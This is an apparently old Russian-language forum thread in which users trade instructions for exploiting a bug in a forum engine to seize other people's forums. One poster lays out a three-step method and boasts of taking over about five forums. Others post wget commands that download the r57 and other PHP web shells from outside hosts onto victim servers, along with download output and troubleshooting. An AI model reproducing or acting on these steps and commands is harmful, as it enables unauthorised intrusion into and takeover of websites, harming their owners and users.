CMD Ты пойми что на некоторых форумах создание сообщения запрещено в опредленном топике....Или пока ты не активизируешся. Лично я при помощи этого сплойта около 5 форумов заимел. 3 шага к успеху: 1)Заходи на форум регимся. 2)Через сплойт узнаем путь (команда pwd) 3)Льем шелл в путь/cache Вот и все.
http://gamescenter.ru/index.php?showtopic=158&pid=987&st=0&#entry987Вот только это бойда вышла и то при нагрузке на базу я в 6 окон твоим exploit'ом фигачил =)
Там версия 2.1.5 на ней не работает..... Или она проста пропатчена на эту дырку. Я ж тебе писал что тестил на 2.1.4
А тему зачем так назвал ? твой RST и на 2.1.3 непашет (проверял только на нормальных форумах). Этот баг только на чистых форумах пашет.
Ахтунг!!!Пацаны...подскажите плз....как заоить шелл...???с помощью какой команды?И поподробней плз=)) И ещё....вот когда я пишу команду pwd , прохожу по ссылке , и у меян там какой то код появляецо...чё с ним делать?куда пихать?
Все я разобрался он и на 2.1.5 работает спосибо всем кто помог. Баг в том что он не работает на чётных темах работает только на нечетных =) Осталось найти нормальный шел =)
народ плиз обьясните попподробнее че дальше делать? я начинающий и поэтому сильно ногами не пинайте! очень хочеться чтобы получилось! вот что я имею: http://img61.imageshack.us/img61/9120/1232ud.jpg а дальше что делать не пойму близ обьясните!
как пользоватся wget вот это правильная команда ? Command for execute or 'exit' for exit wget http://rst.void.ru/download/r57shell .txt -O /cache/r57.php
Незнаю чето не получается может нельзя загружать r57.php ? пробывал грузить в разные паки как говорится нифига..............
Конечно должна быть чистая, т.к. написать он тебе ничего не может. Теперь проверя место куда лил шелл.
я пробовал заливать шелл командой wget -o /home/serge/brunets/forum/1.php http://fudobat.narod.ru/1.php в результате шелл залился но не совсем нормально создались два файла 1.php и 1.php.1 в первом weget что то расказывает о скорости заливки и.т.п вот его содержание --05:59:56-- http://fudobat.narod.ru/1.php => `1.php.1' Resolving fudobat.narod.ru... 213.180.199.27 Connecting to fudobat.narod.ru[213.180.199.27]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 106,099 [application/octet-stream] 0K .......... .......... .......... .......... .......... 48% 40.80 KB/s 50K .......... .......... .......... .......... .......... 96% 35.00 KB/s 100K ... 100% 9.63 KB/s 06:00:04 (34.20 KB/s) - `1.php.1' saved [106,099/106,099 1.php.1 является собственно шеллом как изменить команду чтобы шелл загружался без всяких излишеств
Зачем полный путь указываешь?? Зайди в папку любую пропиши wget www.lo.ru/shell.php. И всё. А про твою команду командой wget -o /home/serge/brunets/forum/1.php http://fudobat.narod.ru/1.php. Имхо писать надо так командой wget -o /home/serge/brunets/forum/ http://fudobat.narod.ru/1.php.